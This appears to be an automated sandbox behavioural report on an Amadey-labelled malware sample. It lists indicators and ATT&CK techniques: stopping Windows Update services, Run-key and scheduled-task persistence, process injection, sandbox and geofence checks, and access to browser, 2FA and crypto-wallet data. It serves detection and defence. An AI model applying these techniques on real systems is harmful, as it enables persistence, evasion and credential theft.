amadey | 2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 14 IoCs

Processes:

XandETC.exeXandETC.exerundll32.exeupdater.exe

description	pid	process	target process
PID 540 created 3148	540	XandETC.exe	Explorer.EXE
PID 4088 created 3148	4088	XandETC.exe	Explorer.EXE
PID 4088 created 3148	4088	XandETC.exe	Explorer.EXE
PID 4088 created 3148	4088	XandETC.exe	Explorer.EXE
PID 4088 created 3148	4088	XandETC.exe	Explorer.EXE
PID 540 created 3148	540	XandETC.exe	Explorer.EXE
PID 540 created 3148	540	XandETC.exe	Explorer.EXE
PID 540 created 3148	540	XandETC.exe	Explorer.EXE
PID 4088 created 3148	4088	XandETC.exe	Explorer.EXE
PID 540 created 3148	540	rundll32.exe	Explorer.EXE
PID 1440 created 3148	1440	updater.exe	Explorer.EXE
PID 1440 created 3148	1440	updater.exe	Explorer.EXE
PID 1440 created 3148	1440	updater.exe	Explorer.EXE
PID 1440 created 3148	1440	updater.exe	Explorer.EXE

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

108 3760 rundll32.exe
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
108	3760	rundll32.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

build2.exe3C42.exe4397.exebuild2.exe41C1.exePlayer3.exenbveek.exe2FBC.exe4397.exeF5AF.exeF5AF.exe2FBC.exebuild2.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	3C42.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	4397.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	41C1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	2FBC.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	4397.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	F5AF.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	F5AF.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	2FBC.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	build2.exe

Executes dropped EXE 37 IoCs

Processes:

F5AF.exeF5AF.exeF5AF.exeF5AF.exebuild2.exebuild2.exebuild3.exe2FBC.exe33A5.exe2FBC.exe354B.exe2FBC.exe3C42.exe41C1.exe4397.exeConhost.exePlayer3.exess31.exe2FBC.exess31.exeXandETC.exeXandETC.exenbveek.exeWerFault.exe4397.exeConhost.exebuild2.exebuild3.exeCDD6.exebuild2.exe4397.exebuild2.exebuild2.exebuild3.exeupdater.exenbveek.exemstsca.exe

pid	process
3164	F5AF.exe
616	F5AF.exe
2768	F5AF.exe
4696	F5AF.exe
4780	build2.exe
1744	build2.exe
2764	build3.exe
5100	2FBC.exe
5084	33A5.exe
3900	2FBC.exe
3760	354B.exe
4376	2FBC.exe
4288	3C42.exe
4936	41C1.exe
4292	4397.exe
5068	Conhost.exe
3196	Player3.exe
4028	ss31.exe
3232	2FBC.exe
2336	ss31.exe
540	XandETC.exe
4088	XandETC.exe
1288	nbveek.exe
4452	WerFault.exe
3916	4397.exe
4912	Conhost.exe
4564	build2.exe
3472	build3.exe
3884	CDD6.exe
3156	build2.exe
380	4397.exe
4500	build2.exe
2492	build2.exe
2640	build3.exe
1440	updater.exe
3912	nbveek.exe
3472	mstsca.exe

Loads dropped DLL 10 IoCs

Processes:

build2.exerundll32.exebuild2.exebuild2.exerundll32.exerundll32.exerundll32.exe

pid	process
1744	build2.exe
1744	build2.exe
3760	rundll32.exe
3156	build2.exe
3156	build2.exe
2492	build2.exe
2492	build2.exe
3332	rundll32.exe
3068	rundll32.exe
2036	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

1356 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1356	icacls.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/1320-1017-0x00007FF72C000000-0x00007FF72C7F4000-memory.dmp	upx

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

F5AF.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\772dd5f5-c2ea-4faf-91d4-3ce6449d50d6\\F5AF.exe\" --AutoStart"	F5AF.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

34 api.2ip.ua
35 api.2ip.ua
43 api.2ip.ua
68 api.2ip.ua
74 api.2ip.ua
76 api.2ip.ua
94 api.2ip.ua

flow	ioc
34	api.2ip.ua
35	api.2ip.ua
43	api.2ip.ua
68	api.2ip.ua
74	api.2ip.ua
76	api.2ip.ua
94	api.2ip.ua

Drops file in System32 directory 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 14 IoCs

Processes:

F5AF.exeF5AF.exebuild2.exe2FBC.exe2FBC.exe4397.exebuild2.exeConhost.exebuild2.exerundll32.exe

description	pid	process	target process
PID 3164 set thread context of 616	3164	F5AF.exe	F5AF.exe
PID 2768 set thread context of 4696	2768	F5AF.exe	F5AF.exe
PID 4780 set thread context of 1744	4780	build2.exe	build2.exe
PID 5100 set thread context of 3900	5100	2FBC.exe	2FBC.exe
PID 4376 set thread context of 3232	4376	2FBC.exe	2FBC.exe
PID 4292 set thread context of 3916	4292	4397.exe	4397.exe
PID 4564 set thread context of 3156	4564	build2.exe	build2.exe
PID 4912 set thread context of 380	4912	Conhost.exe	4397.exe
PID 4500 set thread context of 2492	4500	build2.exe	build2.exe
PID 3760 set thread context of 3308	3760	rundll32.exe	rundll32.exe
PID 3760 set thread context of 1396	3760	rundll32.exe	rundll32.exe
PID 3760 set thread context of 3696	3760	rundll32.exe	rundll32.exe
PID 3760 set thread context of 4532	3760	rundll32.exe	rundll32.exe
PID 3760 set thread context of 3180	3760	rundll32.exe	rundll32.exe

Drops file in Program Files directory 2 IoCs

Processes:

XandETC.exerundll32.exe

description	ioc	process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Notepad\Chrome\updater.exe	rundll32.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
396	sc.exe
4652	sc.exe
1888	sc.exe
936	sc.exe
1548	sc.exe
3788	sc.exe
1804	sc.exe
3136	sc.exe
4800	sc.exe
3708	sc.exe
5052	sc.exe
388	sc.exe
3256	sc.exe
3436	sc.exe
4256	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

1740 3760 WerFault.exe 354B.exe
1768 3884 WerFault.exe CDD6.exe
4404 3068 WerFault.exe rundll32.exe

pid	pid_target	process	target process
1740	3760	WerFault.exe	354B.exe
1768	3884	WerFault.exe	CDD6.exe
4404	3068	WerFault.exe	rundll32.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da.exe33A5.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	33A5.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	33A5.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	33A5.exe

Checks processor information in registry 2 TTPs 23 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exerundll32.exebuild2.exebuild2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

4964 schtasks.exe
1312 schtasks.exe
5020 schtasks.exe
4872 schtasks.exe
2424 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

1604 timeout.exe
456 timeout.exe
4776 timeout.exe

pid	process
4964	schtasks.exe
1312	schtasks.exe
5020	schtasks.exe
4872	schtasks.exe
2424	schtasks.exe

pid	process
1604	timeout.exe
456	timeout.exe
4776	timeout.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

Processes:

Explorer.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Modifies registry class 64 IoCs

Processes:

Explorer.EXErundll32.exerundll32.exerundll32.exerundll32.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 820074001c0043465346160031000000000000000000100041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004100700070004400610074006100000042000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4e003100000000008256ef50100054656d7000003a0009000400efbe55564a168256ef502e00000000000000000000000000000000000000000000000000e78be300540065006d007000000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	rundll32.exe
